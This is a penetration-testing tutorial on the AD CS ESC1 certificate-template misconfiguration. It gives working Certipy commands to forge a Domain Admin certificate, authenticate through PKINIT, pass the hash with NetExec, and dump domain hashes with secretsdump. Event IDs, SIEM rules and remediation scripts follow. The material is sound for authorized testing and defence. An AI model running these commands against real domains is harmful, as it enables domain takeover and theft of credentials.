Breaking In With Paper: Abusing AD CS ESC1 - Template Hijacking
How attackers exploit AD CS ESC1. A misconfigured certificate template that lets any domain user forge authentication certificates for privileged accounts and escalate to Domain Admin without cracking a single password.
Legal & ethical reminder: Only perform the techniques below with explicit written authorization or in a lab. This post is for defensive education and professional testing. Not for abuse.
TL;DR
Active Directory Certificate Services (AD CS) can be misconfigured so that low-privileged users can request a certificate for any identity they choose, including Domain Admins. That abuse path, known as ESC1, requires no template modification, no special permissions, and no password cracking. The template is already wide open. We use Certipy (specifically the certipy-ad fork) to discover and exploit ESC1, then validate impact with NetExec and Impacket’s secretsdump in a controlled, authorized environment.
What’s ESC1 in Plain English?
- AD CS issues certificates for users and computers. Certificate templates define who can request what kind of certs and how those certs are constructed.
- In ESC1, a template is configured to let the enrollee supply the Subject Alternative Name (SAN), meaning the person requesting the cert gets to say who the cert belongs to.
- Combined with Client Authentication EKUs and open enrollment rights (e.g.
Domain Users), any domain user can request a certificate that claims to be the Domain Admin, or any other account. Active Directory trusts that certificate for logon via PKINIT, no password required.
Why defenders care: Unlike ESC4, there’s nothing to modify. The template is already misconfigured and ready to exploit the moment you enumerate it. It’s the simplest, cleanest path from domain user to domain admin in the AD CS abuse family.
ESC1 vs ESC4 in one line: ESC4 requires you to change the template to make it exploitable. ESC1 is already exploitable as-is, you just enroll.
Attack Flow (High-Level)
- Discover certificate authorities & templates; identify a template where your user can enroll and the SAN is enrollee-supplied.
- Request a certificate specifying a target UPN (e.g., a Domain Admin account) as the SAN.
- Authenticate to AD with the certificate (PKINIT) and obtain usable credentials/tickets.
- Validate impact safely (demonstrate file-level control or directory replication ability) and stop.
- Clean up — revoke issued test certificates and wipe artefacts from tester systems.
We use certipy-ad for steps 1–3, then NetExec to verify administrative share access and Impacket’s secretsdump to prove directory replication rights.
Safe Testing Approach — Use a Clone Where Possible
ESC1 doesn’t require modifying the vulnerable template. You simply enroll against it, so the clone workflow from ESC4 is less critical here. However, I still ask the client to duplicate the vulnerable template before testing where practical, for two reasons:
- It keeps test-issued certificates clearly separated from any legitimate certificates issued from the production template, making post-engagement cleanup unambiguous.
- It means the client can revoke the clone’s issued certificates in bulk without risking disruption to any legitimate certificates tied to the original template.
How to clone the template (client-side, in the CA MMC):
- Open
certsrv.mscon the CA. - Expand Certificate Templates, right-click Certificate Templates node → Manage.
- In the Certificate Templates Console, right-click the vulnerable template → Duplicate Template.
- Give the clone a distinct name (e.g.,
VulnTemplate-PenTest-<date>). - Grant your test account
Enrollrights on the clone. - Back in
certsrv.msc, right-click Certificate Templates → New → Certificate Template to Issue → select the clone.
Point your certipy-ad req command at the cloned template name instead of the original.
Note for the report: Document both the original vulnerable template (as the finding) and the clone (as the test artefact). Make clear that certificates were issued from the clone, not the live template, so there’s no ambiguity in the client’s change management records.
Tooling
| Tool | Purpose |
|---|---|
| certipy-ad | Enumerates AD CS; requests and authenticates with certificates |
| NetExec | Lightweight validation of ADMIN$ access without destructive actions |
| Impacket (secretsdump) | Proof of domain impact via DCSync, scoped tightly |
| BloodHound CE | Graph-based discovery of ESC1-reachable templates via enrollment edge traversal |
Preconditions (What Makes ESC1 Exploitable)
All three of the following must be true on the same template:
| Condition | Flag / Setting | Why It Matters |
|---|---|---|
| Enrollee supplies subject | CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT | Lets the requestor specify any SAN/UPN they want |
| Client Authentication EKU present | OID 1.3.6.1.5.5.7.3.2 (or Smartcard Logon, Any Purpose, PKINIT Client Auth) | Makes the issued cert usable for Kerberos/NTLM authentication |
| Low-privileged enrollment rights | Enroll granted to Domain Users, Authenticated Users, or similar | Any foothold account can request a cert |
Additionally, the template must have no manager approval required (CT_FLAG_PEND_ALL_REQUESTS must be absent), otherwise certificate requests queue for human review rather than auto-issuing.
EKU note:
Any Purpose(OID2.5.29.37.0) and no EKU (empty) are also exploitable. They both implicitly permit client authentication. Don’t overlook templates that look “not configured” on EKUs; check explicitly.
ESC1 vs ESC6: ESC6 is a related path where the CA itself has
EDITF_ATTRIBUTESUBJECTALTNAME2set, allowing enrollee-supplied SANs on any template regardless of template settings. If you hit ESC1 conditions, always check whether ESC6 is also present. If it is, even “safe” templates become exploitable.
Attack Walkthrough
Replace placeholders throughout:
DOM,dom.local,user,Passw0rd!,10.0.0.10(DC IP),CA01.dom.local,VulnTemplate,targetadmin@dom.local,DOM-LOCAL-CA01
Discovery
With Certipy
1
2
# Enumerate CA + templates and flag known abuses
certipy-ad find -u user@dom.local -p 'Passw0rd!' -dc-ip 10.0.0.10 -vulnerable
Look for output like:
1
2
3
4
5
6
7
Template Name : VulnTemplate
...
Enrollee Supplies Subject : True
Extended Key Usage : Client Authentication
Enrollment Rights : DOM.LOCAL\Domain Users
[!] Vulnerabilities
ESC1 : Enrollee supplies subject and template allows client authentication
All three conditions in one block, that’s your target. Note the CA name and template name; you’ll need both for the request command.
With BloodHound CE
After ingesting with SharpHound or the BloodHound Python collector, use the Shortest Paths to Domain Admins query and filter for ADCS nodes. BloodHound CE surfaces ESC1-vulnerable templates as Enroll edges combined with the EnrolleeSuppliesSubject property.
You can also query directly:
1
2
3
4
MATCH (u:User)-[:Enroll]->(t:CertTemplate)
WHERE t.enrolleesuppliessubject = true
AND any(eku in t.ekus WHERE eku contains "Client Authentication")
RETURN u.name, t.name
This is particularly useful for spotting group-based enrollment paths. Your foothold account may not directly have Enroll, but a group it belongs to might.
Step 1 — Confirm the Template is Exploitable
1
2
# View template settings to confirm ESC1 conditions before requesting
certipy-ad find -u user@dom.local -p 'Passw0rd!' -dc-ip 10.0.0.10 -vulnerable
Confirm:
Enrollee Supplies Subject: TrueClient Authentication(or equivalent) in EKUs- Your principal (or a group it belongs to) in
Enrollment Rights Requires Manager Approval: False
Don’t skip this step. Confirming conditions before requesting means you know exactly what you’re working with and there are no surprises mid-engagement.
Step 2 — Get the Target Account’s SID
Post-KB5014754, patched DCs enforce strong certificate mapping. The certificate must include the target account’s SID in the szOID_NTDS_CA_SECURITY_EXT extension, or authentication will fail. Always include -sid in your request.
1
2
# Get the target account's SID
certipy-ad account -u user@dom.local -p 'Passw0rd!' -dc-ip 10.0.0.10 -user targetadmin
Note the SID from the output (format: S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-500).
Alternatively, from a Windows host:
1
Get-ADUser -Identity targetadmin | Select-Object SID
Step 3 — Request a Certificate for the Target Account
1
2
3
4
5
6
7
# Request a certificate impersonating a privileged account
# -target : FQDN of the CA host (not the DC)
# -ca : CA name (from discovery output)
# -upn : target account UPN
# -sid : target account SID
certipy-ad req -u user@dom.local -p 'Passw0rd!' -dc-ip 10.0.0.10 -target 'CA01.dom.local' -ca 'DOM-LOCAL-CA01' -template 'VulnTemplate' -upn 'targetadmin@dom.local'-sid 'S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-500'
Output: targetadmin.pfx
⚠️
-targetmust point to the CA host, not the DC. Certipy needs to reach the CA’s RPC endpoint (TCP 135 + dynamic ports). A common mistake is pointing-targetat the DC IP, this works if the CA is on the DC, but fails in split CA/DC environments.
Step 4 — Authenticate with the Certificate (PKINIT)
1
certipy-ad auth -pfx 'targetadmin.pfx' -dc-ip 10.0.0.10
Expected output:
1
2
3
4
5
6
7
8
9
10
[*] Certificate identities:
[*] SAN UPN: 'targetadmin@dom.local'
[*] SAN URL SID: 'S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-500'
[*] Security Extension SID: 'S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-500'
[*] Using principal: 'targetadmin@dom.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'targetadmin.ccache'
[*] Trying to retrieve NT hash for 'targetadmin'
[*] Got hash for 'targetadmin@dom.local': <LM>:<NT>
Note the NT hash and ccache path.
Step 5 — Prove DC File-Level Control (ADMIN$)
1
2
3
4
5
# List shares
netexec smb 10.0.0.10 -d DOM -u targetadmin -H <NT_HASH> --shares
# Canary file write — minimally invasive proof of ADMIN$ write
netexec smb 10.0.0.10 -d DOM -u targetadmin -H <NT_HASH> --put-file ./sigh.txt 'C$\Windows\Temp\_sigh.txt'
Prefer a file write over remote code execution for initial impact proof, it’s less disruptive and still clearly demonstrates control.
Step 6 — DCSync / Hash Dump (Scoped)
1
2
# DCSync — scoped to domain controllers only
impacket-secretsdump -just-dc DOM/targetadmin@10.0.0.10 -hashes :<NT_HASH>
Capture DA hashes and a minimal sample to prove impact. Avoid bulk dumps unless your scope explicitly requires it.
Step 7 — Cleanup ⚠️ Don’t Skip This
ESC1 cleanup is simpler than ESC4. You haven’t modified any templates, so there’s nothing to restore. Focus on:
- Revoke the issued test certificate(s) via the CA MMC (
certsrv.msc→ Issued Certificates → right-click → Revoke) and publish updated CRLs/OCSP. - Delete the cloned template — in
certsrv.msc, remove it from issued templates first, then delete it from the Certificate Templates console. - Delete any canary files from the DC (e.g.,
C:\Windows\Temp\_sigh.txt). - Securely wipe PFX, ccache, and hash files from tester systems.
- Document certificate serial numbers and revocation times in your notes — the client will need these for their audit trail.
Pentest-Specific Notes
- No template modification needed — this is ESC1’s defining characteristic and what makes it higher risk than ESC4 in some ways. There’s no “before” state to restore, so the issued certificate is the only artefact. Revoking it promptly is critical.
- Minimise data — prefer a file write over broad data grabs. If demonstrating DCSync, capture just enough to prove impact.
- Target account selection — don’t default to Administrator. Request a cert for a DA service account or a privileged user that clearly demonstrates impact without being the most sensitive account in the domain. Discuss with your client beforehand.
- Coordinate with the SOC — certificate issuance for unusual UPNs is detectable. If the engagement involves a blue team, give them a timing heads-up.
Detection & Telemetry
Share this with your clients. These are the signals that would catch ESC1 abuse.
Windows Security Log — CA / AD CS
| Event ID | Meaning |
|---|---|
| 4886 | Certificate request submitted |
| 4887 | Certificate issued |
| 4888 | Certificate request denied (if manager approval is enabled) |
Unlike ESC4, there is no 4899 (template modified) event, the template is never changed. That makes ESC1 quieter at the CA level. The only CA-side signal is 4887 with an unusual Requester Name (low-priv user) and Certificate Template combination, or a Subject / SAN that doesn’t match the requesting account’s identity.
Windows Security Log — Domain Controllers
| Event ID | Meaning |
|---|---|
| 4768 | Kerberos TGT request — PKINIT cert-based auth has PreAuthType: 16 or 17 |
| 4769 | Kerberos service ticket request |
Look for 4768 where the certificate pre-auth was used by an account that doesn’t normally authenticate via smartcard/certificate, or from a host that isn’t a smartcard-enrolled workstation.
SIEM Correlation
A high-confidence ESC1 detection rule looks like:
4887 (cert issued — requester UPN doesn’t match subject UPN) → 4768 (PKINIT TGT for the subject UPN) → lateral movement/DCSync, all from the same source host within a short window.
The key signal is the mismatch between the requester identity (4887) and the authenticated identity (4768). A low-priv user requesting and then a DA authenticating shortly after from the same host is the smoking gun.
Remediation Guidance
1. Disable Enrollee-Supplied Subject
This is the root cause. In the CA MMC:
- Open the template properties → Subject Name tab.
- Change from Supply in the request to Build from this Active Directory information.
- If the template genuinely needs enrollee-supplied subjects (e.g., for non-domain-joined devices or cross-org scenarios), see option 3 below.
2. Restrict Enrollment Rights
- Scope
EnrollandAutoEnrollpermissions to the smallest necessary security groups. - Remove
Domain UsersandAuthenticated Usersfrom enrollment rights on any template with Client Authentication EKUs. - Audit with PowerShell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Find templates with Client Auth EKU and broad enrollment rights
Import-Module ActiveDirectory
$templates = Get-ADObject `
-SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=dom,DC=local" `
-Filter {objectClass -eq "pKICertificateTemplate"} `
-Properties msPKI-Certificate-Name-Flag, msPKI-Enrollment-Flag, nTSecurityDescriptor, pKIExtendedKeyUsage
foreach ($t in $templates) {
# Check for ENROLLEE_SUPPLIES_SUBJECT flag (0x1)
$nameFlag = $t.'msPKI-Certificate-Name-Flag'
if ($nameFlag -band 0x1) {
$acl = $t.nTSecurityDescriptor
foreach ($ace in $acl.Access) {
if ($ace.ActiveDirectoryRights -match "ExtendedRight" -and
$ace.IdentityReference -match "Domain Users|Authenticated Users|Everyone") {
Write-Output "ESC1 CANDIDATE: $($t.Name) — $($ace.IdentityReference) has Enroll"
}
}
}
}
3. Enable Manager Approval (If Enrollee-Supplied Subject Is Required)
If the business genuinely needs enrollee-supplied subjects, add a human approval gate:
- Template properties → Issuance Requirements tab → enable CA certificate manager approval.
- This prevents auto-issuance. Every request queues for review before a cert is issued.
- The robustness of this control depends entirely on reviewers actually checking that the requested SAN matches the requester’s identity. Document the review process.
4. Remove Unnecessary EKUs
- Remove Client Authentication, Smartcard Logon, and Any Purpose EKUs from templates that don’t require them.
- If the template is used for code signing, TLS, or document signing, it has no business having Client Auth on it.
5. Check for ESC6 at the CA Level
1
2
# Check if EDITF_ATTRIBUTESUBJECTALTNAME2 is set on the CA
certutil -config 'CA01.dom.local\DOM-LOCAL-CA01' -getreg policy\EditFlags
If EDITF_ATTRIBUTESUBJECTALTNAME2 is in the output, ESC6 is present and all templates are potentially exploitable regardless of their individual settings. Removing this flag is the fix:
1
2
certutil -config 'CA01.dom.local\DOM-LOCAL-CA01' -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc && net start certsvc
6. Monitor Continuously
- Build a SIEM rule for 4887 where requester UPN ≠ subject UPN. This should be extremely rare in normal operations.
- Alert on anomalous PKINIT (4768
PreAuthType: 16/17) from non-smartcard endpoints. - Periodically re-scan with
certipy-ad find -vulnerableafter any template changes, new templates get added and misconfigured regularly.
7. Post-Incident Hygiene
- Revoke all certificates issued from the vulnerable template during the exposure window.
- Publish updated CRLs and restart OCSP responders.
- Reset or rotate any privileged accounts whose UPNs could have been targeted.
- Review the CA’s full issued certificate log for the exposure window, look for certs where the requester and subject don’t match.
Common Pitfalls & Gotchas
-targetconfusion: Always point-targetat the CA hostname, not the DC. In environments where the CA and DC are on separate hosts this is the most common cause of failed requests.-sidrequired on patched DCs: Post-KB5014754, omitting-sidresults in authentication failure even with a valid cert. Always include it.- PKINIT failures: Time skew (keep clocks within 5 minutes), DC selection (
-dc-ipexplicitly), and realm casing are the usual culprits. Also confirm PKINIT isn’t disabled by GPO (KDC support for PKINITin Default Domain Controllers Policy). - EKU edge cases:
Any Purposeand empty EKU both permit client authentication implicitly. Don’t dismiss a template because it doesn’t explicitly listClient Authentication. - Manager approval silently queuing your request: If your
certipy-ad reqhangs or returns a pending status rather than a PFX, manager approval is enabled. CheckRequires Manager Approvalin thecertipy-ad findoutput before requesting. - ADMIN$ write blocked: A DA cert doesn’t help if the target account isn’t actually local admin on that DC. Confirm group membership for the target account first.
- Cert revocation doesn’t immediately invalidate active sessions: Revoking the test cert stops future authentication but doesn’t kill existing TGTs or sessions. If you used the cert to get a TGT, that TGT remains valid until it expires (default 10 hours). Factor this into your cleanup timeline and communicate it to the client.
MITRE ATT&CK Mapping
| Technique | Description |
|---|---|
| T1649 | Steal or Forge Authentication Certificates — direct cert request abuse |
| T1550.003 | Use Alternate Authentication Material: Pass the Certificate |
| T1003.006 | OS Credential Dumping: DCSync |
| T1078 | Valid Accounts — post-cert authentication as a privileged identity |
| T1558 | Steal or Forge Kerberos Tickets — PKINIT-based TGT acquisition |
Final Thoughts
ESC1 is the cleanest, most impactful finding in the AD CS abuse family. There’s no template modification, no ACL tampering, no lateral movement prerequisite, just an enrollment request that the CA happily processes and hands back a DA certificate. It’s one command from foothold to domain admin.
For pentesters, ESC1 is a strong executive-level finding precisely because of how simple it is: a low-privileged user enrolled for a certificate, said “I’m the Domain Admin,” and the PKI believed them. For defenders, the fix is also simple: disable enrollee-supplied subjects, restrict enrollment rights, and alert on requester/subject mismatches in certificate issuance logs. If you haven’t audited your AD CS templates recently, run certipy-ad find -vulnerable from a domain user account, you may be surprised what’s sitting there.